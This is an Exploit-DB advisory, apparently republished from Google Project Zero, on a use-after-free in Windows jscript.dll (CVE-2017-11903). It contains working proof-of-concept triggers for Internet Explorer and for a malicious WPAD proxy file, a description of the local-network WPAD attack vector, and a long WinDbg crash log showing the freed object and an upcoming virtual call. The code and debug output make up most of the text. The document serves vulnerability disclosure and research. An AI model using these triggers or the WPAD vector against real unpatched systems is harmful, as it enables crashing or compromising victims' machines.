Microsoft Windows - 'jscript!NameTbl::GetValDef' Use-After-Free

EDB-ID: 43367
Author: Google Security Research
Published: 2017-12-19
CVE: CVE-2017-11903
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: Use After Free (UAF)
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1376 

There is a use-after-free vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors:

- An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service.

- The issue can also be exploited by opening a malicious web page in Internet Explorer.

The issue has been verified on 64-bit Win7 with the most recent patches applied.

PoC for Internet Explorer (might require page heap to trigger the crash):

============================================
-->

<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var vars = new Array(100);
for(var i=0;i<100;i++) vars[i] = {};

function f() {
vars[1] = 1;
CollectGarbage();
return {};
}

vars[1].toString = f;
Array.prototype.join.call(vars);

</script>

<!--
============================================

PoC for WPAD (might require page heap to trigger the crash):

============================================

function FindProxyForURL(url, host) {

var vars = new Array(100);
for(var i=0;i<100;i++) vars[i] = {};

function f() {
vars[1] = 1;
CollectGarbage();
return {};
}

vars[1].toString = f;
Array.prototype.join.call(vars);

return "DIRECT";
}

===========================================

Technical details:

The issue is in NameTbl::GetValDef which is called when an object is converted to a string. The function attempts to call toString() or valueOf() of the NameTbl object 2 times or until the return value isn't an JavaScript object. The issue is that the NameTbl object on which these methods are called isn't explicitly tracked by the garbage collector, which means the object can be deleted inside the toString/valueOf callback (as long as it's not tracked by the garbage collector somewhere else). Basically, toString/valueOf can delete its 'this' object.

Note that the crash location in the Debug log immediately precedes a virtual method call.

Debug log (from IE, but it looks similar in the WPAD service):

============================================

(a68.e4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript!NameTbl::GetValDef+0x58:
000007fe`f5dea398 498b06 mov rax,qword ptr [r14] ds:00000000`044d9f90=????????????????

0:013> r
rax=0000000000000001 rbx=000007fef5d7bd50 rcx=00000000044acfa0
rdx=0000000000000000 rsi=0000000012b49fb8 rdi=0000000000000001
rip=000007fef5dea398 rsp=0000000012b49ae0 rbp=0000000000000000
r8=0000000004309f20 r9=0000000004309670 r10=0000000000000081
r11=0000000012b49a60 r12=0000000000000080 r13=0000000000000008
r14=00000000044d9f90 r15=0000000000000000
iopl=0 nv up ei ng nz ac po cy
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
jscript!NameTbl::GetValDef+0x58:
000007fe`f5dea398 498b06 mov rax,qword ptr [r14] ds:00000000`044d9f90=????????????????

0:013> k
# Child-SP RetAddr Call Site
00 00000000`12b49ae0 000007fe`f5dad069 jscript!NameTbl::GetValDef+0x58
01 00000000`12b49b70 000007fe`f5d7de69 jscript!NameTbl::InvokeInternal+0xb07
02 00000000`12b49c90 000007fe`f5d7bf3b jscript!VAR::GetValue+0xa1
03 00000000`12b49ce0 000007fe`f5ddb65d jscript!ConvertToString+0x5b
04 00000000`12b49f60 000007fe`f5d7c2ec jscript!JsArrayJoin+0x38d
05 00000000`12b4a060 000007fe`f5d7a9fe jscript!NatFncObj::Call+0x138
06 00000000`12b4a110 000007fe`f5d786ea jscript!NameTbl::InvokeInternal+0x3f8
07 00000000`12b4a230 000007fe`f5dcdd72 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea
08 00000000`12b4a280 000007fe`f5d7c2ec jscript!JsFncCall+0xc2
09 00000000`12b4a310 000007fe`f5d7a9fe jscript!NatFncObj::Call+0x138
0a 00000000`12b4a3c0 000007fe`f5d7b234 jscript!NameTbl::InvokeInternal+0x3f8
0b 00000000`12b4a4e0 000007fe`f5d79852 jscript!VAR::InvokeByName+0x81c
0c 00000000`12b4a6f0 000007fe`f5d79929 jscript!VAR::InvokeDispName+0x72
0d 00000000`12b4a770 000007fe`f5d724b8 jscript!VAR::InvokeByDispID+0x1229
0e 00000000`12b4a7c0 000007fe`f5d78ec2 jscript!CScriptRuntime::Run+0x5a6
0f 00000000`12b4b5c0 000007fe`f5d78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
10 00000000`12b4b7d0 000007fe`f5d78b95 jscript!ScrFncObj::Call+0xb7
11 00000000`12b4b870 000007fe`f5d7e6c0 jscript!CSession::Execute+0x19e
12 00000000`12b4b940 000007fe`f5d870e7 jscript!COleScript::ExecutePendingScripts+0x17a
13 00000000`12b4ba10 000007fe`f5d868d6 jscript!COleScript::ParseScriptTextCore+0x267
14 00000000`12b4bb00 000007fe`ead55251 jscript!COleScript::ParseScriptText+0x56
15 00000000`12b4bb60 000007fe`eb4db320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
16 00000000`12b4bbe0 000007fe`ead56256 MSHTML!CScriptCollection::ParseScriptText+0x37f
17 00000000`12b4bcc0 000007fe`ead55c8e MSHTML!CScriptData::CommitCode+0x3d9
18 00000000`12b4be90 000007fe`ead55a11 MSHTML!CScriptData::Execute+0x283
19 00000000`12b4bf50 000007fe`eb5146fb MSHTML!CHtmScriptParseCtx::Execute+0x101
1a 00000000`12b4bf90 000007fe`eadf8a5b MSHTML!CHtmParseBase::Execute+0x235
1b 00000000`12b4c030 000007fe`eacd2e39 MSHTML!CHtmPost::Broadcast+0x90
1c 00000000`12b4c070 000007fe`ead2caef MSHTML!CHtmPost::Exec+0x4bb
1d 00000000`12b4c280 000007fe`ead2ca40 MSHTML!CHtmPost::Run+0x3f
1e 00000000`12b4c2b0 000007fe`ead2da12 MSHTML!PostManExecute+0x70
1f 00000000`12b4c330 000007fe`ead30843 MSHTML!PostManResume+0xa1
20 00000000`12b4c370 000007fe`ead16fc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
21 00000000`12b4c3c0 000007fe`eb544f78 MSHTML!CDwnChan::OnMethodCall+0x41
22 00000000`12b4c3f0 000007fe`eac39d75 MSHTML!GlobalWndOnMethodCall+0x240
23 00000000`12b4c490 00000000`77709bbd MSHTML!GlobalWndProc+0x150
24 00000000`12b4c510 00000000`777098c2 USER32!UserCallWinProcCheckWow+0x1ad
25 00000000`12b4c5d0 000007fe`f2be4a87 USER32!DispatchMessageWorker+0x3b5
26 00000000`12b4c650 000007fe`f2bebabb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
27 00000000`12b4f8d0 000007fe`fe88572f IEFRAME!LCIETab_ThreadProc+0x3a3
28 00000000`12b4fa00 000007fe`f5ff925f iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
29 00000000`12b4fa30 00000000`775e59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
2a 00000000`12b4fa80 00000000`7781a561 kernel32!BaseThreadInitThunk+0xd
2b 00000000`12b4fab0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

0:013> !heap -p -a 00000000`044d9f90
address 00000000044d9f90 found in
_DPH_HEAP_ROOT @ 3fd1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
3fe0680: 44d9000 2000
000007fef5f78726 verifier!AVrfDebugPageHeapFree+0x00000000000000a2
00000000778b4255 ntdll!RtlDebugFreeHeap+0x0000000000000035
000000007785797c ntdll! ?? ::FNODOBFM::`string'+0x000000000000e982
000007feff2110c8 msvcrt!free+0x000000000000001c
000007fef5d7bad2 jscript!NativeErrorProtoObj<16>::`vector deleting destructor'+0x0000000000000022
000007fef5d7b938 jscript!NameTbl::SetMasterVariant+0x000000000000a240
000007fef5d942cb jscript!GcAlloc::ReclaimGarbage+0x000000000000034d
000007fef5d719e2 jscript!GcContext::Reclaim+0x00000000000000ae
000007fef5d81956 jscript!GcContext::CollectCore+0x000000000000018b
000007fef5d817a5 jscript!GcContext::Collect+0x0000000000000025
000007fef5dc42f3 jscript!JsCollectGarbage+0x0000000000000023
000007fef5d7c2ec jscript!NatFncObj::Call+0x0000000000000138
000007fef5d7c199 jscript!NameTbl::InvokeInternal+0x0000000000000377
000007fef5d786ea jscript!VAR::InvokeByDispID+0xffffffffffffffea
000007fef5d724b8 jscript!CScriptRuntime::Run+0x00000000000005a6
000007fef5d78ec2 jscript!ScrFncObj::CallWithFrameOnStack+0x0000000000000162
000007fef5d78d2b jscript!ScrFncObj::Call+0x00000000000000b7
000007fef5da2084 jscript!NameTbl::InvokeInternal+0x000000000000060f
000007fef5d786ea jscript!VAR::InvokeByDispID+0xffffffffffffffea
000007fef5dea422 jscript!NameTbl::GetValDef+0x00000000000000e2
000007fef5dad069 jscript!NameTbl::InvokeInternal+0x0000000000000b07
000007fef5d7de69 jscript!VAR::GetValue+0x00000000000000a1
000007fef5d7bf3b jscript!ConvertToString+0x000000000000005b
000007fef5ddb65d jscript!JsArrayJoin+0x000000000000038d
000007fef5d7c2ec jscript!NatFncObj::Call+0x0000000000000138
000007fef5d7a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8
000007fef5d786ea jscript!VAR::InvokeByDispID+0xffffffffffffffea
000007fef5dcdd72 jscript!JsFncCall+0x00000000000000c2
000007fef5d7c2ec jscript!NatFncObj::Call+0x0000000000000138
000007fef5d7a9fe jscript!NameTbl::InvokeInternal+0x00000000000003f8
000007fef5d7b234 jscript!VAR::InvokeByName+0x000000000000081c
000007fef5d79852 jscript!VAR::InvokeDispName+0x0000000000000072

0:013> u rip
jscript!NameTbl::GetValDef+0x58:
000007fe`f5dea398 498b06 mov rax,qword ptr [r14]
000007fe`f5dea39b 488b98e0000000 mov rbx,qword ptr [rax+0E0h]
000007fe`f5dea3a2 488bcb mov rcx,rbx
000007fe`f5dea3a5 ff15b5320400 call qword ptr [jscript!_guard_check_icall_fptr (000007fe`f5e2d660)]
000007fe`f5dea3ab 488b54fc40 mov rdx,qword ptr [rsp+rdi*8+40h]
000007fe`f5dea3b0 4c8d442450 lea r8,[rsp+50h]
000007fe`f5dea3b5 498bce mov rcx,r14
000007fe`f5dea3b8 ffd3 call rbx

============================================
-->

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